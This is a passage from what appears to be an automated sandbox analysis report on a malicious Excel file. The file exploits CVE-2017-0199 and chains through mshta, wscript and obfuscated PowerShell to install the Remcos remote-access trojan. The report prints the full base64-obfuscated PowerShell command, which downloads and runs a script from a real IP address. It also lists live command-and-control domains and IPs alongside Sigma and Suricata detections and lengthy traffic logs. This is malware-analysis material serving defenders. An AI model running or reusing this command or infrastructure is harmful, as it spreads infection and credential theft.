BpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", CommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTs

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3696, TargetFilename: C:\Users\user\AppData\Local\Temp\4jsxcbek.xnv.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline", ProcessId: 3836, ProcessName: csc.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: Registry Key set

Author: Joe Security: Data: Details: 18 D2 20 8F 72 BB 7F AA 92 CC 13 EA 0B 58 F9 C8 7C F6 59 6F 27 61 0F B1 A6 00 B9 F3 65 FD 9A F2 40 2B 5B 4F 9B 68 69 B6 12 A7 75 F4 91 E9 3E A7 F9 4D 40 93 02 0E 84 5C 32 C8 76 92 E3 AC 4B 26 7A CF E1 02 EC D6 1B 52 85 9C 80 F1 2A B1 2C 8C 3E 1F 34 A8 77 57 00 4D E8 57 F2 D9 76 75 25 EC C6 C9 F5 B8 F1 F1 80 D1 0E 05 4D 29 77 88 D7 96 3D 66 , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ProcessId: 3452, TargetObject: HKEY_CURRENT_USER\Software\Rmc-PVMSPM\exepath

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:20.371122+0100	2024197	1	A Network Trojan was detected	192.210.150.24	80	192.168.2.22	49162	TCP
2024-12-12T21:56:25.199964+0100	2024197	1	A Network Trojan was detected	192.210.150.24	80	192.168.2.22	49164	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:20.370935+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49162	192.210.150.24	80	TCP
2024-12-12T21:56:25.199572+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	192.210.150.24	80	TCP
2024-12-12T21:56:46.861797+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49171	192.210.150.24	80	TCP

ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:59.129443+0100	2020425	1	Exploit Kit Activity Detected	188.114.97.6	443	192.168.2.22	49173	TCP

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:59.129443+0100	2020424	1	Exploit Kit Activity Detected	188.114.97.6	443	192.168.2.22	49173	TCP

ET JA3 Hash - Remcos 3.x/4.x TLS Connection

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:57:02.576404+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49175	107.173.143.10	14646	TCP
2024-12-12T21:57:06.014903+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49176	107.173.143.10	14646	TCP
2024-12-12T21:57:09.448448+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49177	107.173.143.10	14646	TCP
2024-12-12T21:57:12.694845+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49178	107.173.143.10	14646	TCP
2024-12-12T21:57:16.011490+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49179	107.173.143.10	14646	TCP
2024-12-12T21:57:19.213986+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49180	107.173.143.10	14646	TCP
2024-12-12T21:57:22.451777+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49181	107.173.143.10	14646	TCP
2024-12-12T21:57:25.855360+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49182	107.173.143.10	14646	TCP
2024-12-12T21:57:29.293367+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49183	107.173.143.10	14646	TCP
2024-12-12T21:57:32.974192+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49184	107.173.143.10	14646	TCP
2024-12-12T21:57:36.263144+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49185	107.173.143.10	14646	TCP
2024-12-12T21:57:39.484193+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49186	107.173.143.10	14646	TCP
2024-12-12T21:57:42.776750+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49187	107.173.143.10	14646	TCP
2024-12-12T21:57:46.230300+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49188	107.173.143.10	14646	TCP
2024-12-12T21:57:49.434258+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49189	107.173.143.10	14646	TCP
2024-12-12T21:57:52.766637+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49190	107.173.143.10	14646	TCP
2024-12-12T21:57:56.278445+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49191	107.173.143.10	14646	TCP
2024-12-12T21:57:59.906262+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49192	107.173.143.10	14646	TCP
2024-12-12T21:58:03.141542+0100	2036594	1	Malware Command and Control Activity Detected	192.168.2.22	49193	107.173.143.10	14646	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:57:03.040956+0100	2049038	1	A Network Trojan was detected	151.101.129.137	443	192.168.2.22	49174	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:57:00.073584+0100	2858295	1	A Network Trojan was detected	188.114.97.6	443	192.168.2.22	49173	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:31.966576+0100	2858795	1	A Network Trojan was detected	192.168.2.22	49165	192.210.150.24	80	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T21:56:58.702544+0100	2841075	1	Malware Command and Control Activity Detected	192.168.2.22	49173	188.114.97.6	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Cot90012ARCACONTAL.xls

ReversingLabs: Detection: 15%

Phishing

Yara detected obfuscated html page

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta, type: DROPPED

Source: unknown

HTTPS traffic detected: 151.101.129.137:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.34.183:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.184:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.6:443 -> 192.168.2.22:49173 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.pdbhP\ source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.pdb source: powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.pdb source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.pdbhP\ source: powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: res.cloudinary.com
Source: global traffic	DNS query: name: res.cloudinary.com
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: jktc.pro
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: res.cloudinary.com
Source: global traffic	DNS query: name: res.cloudinary.com
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: paste.ee
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org
Source: global traffic	DNS query: name: newglobalfucntioninside.duckdns.org

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.6:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 151.101.129.137:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.34.183:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 172.67.163.184:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.163.184:443
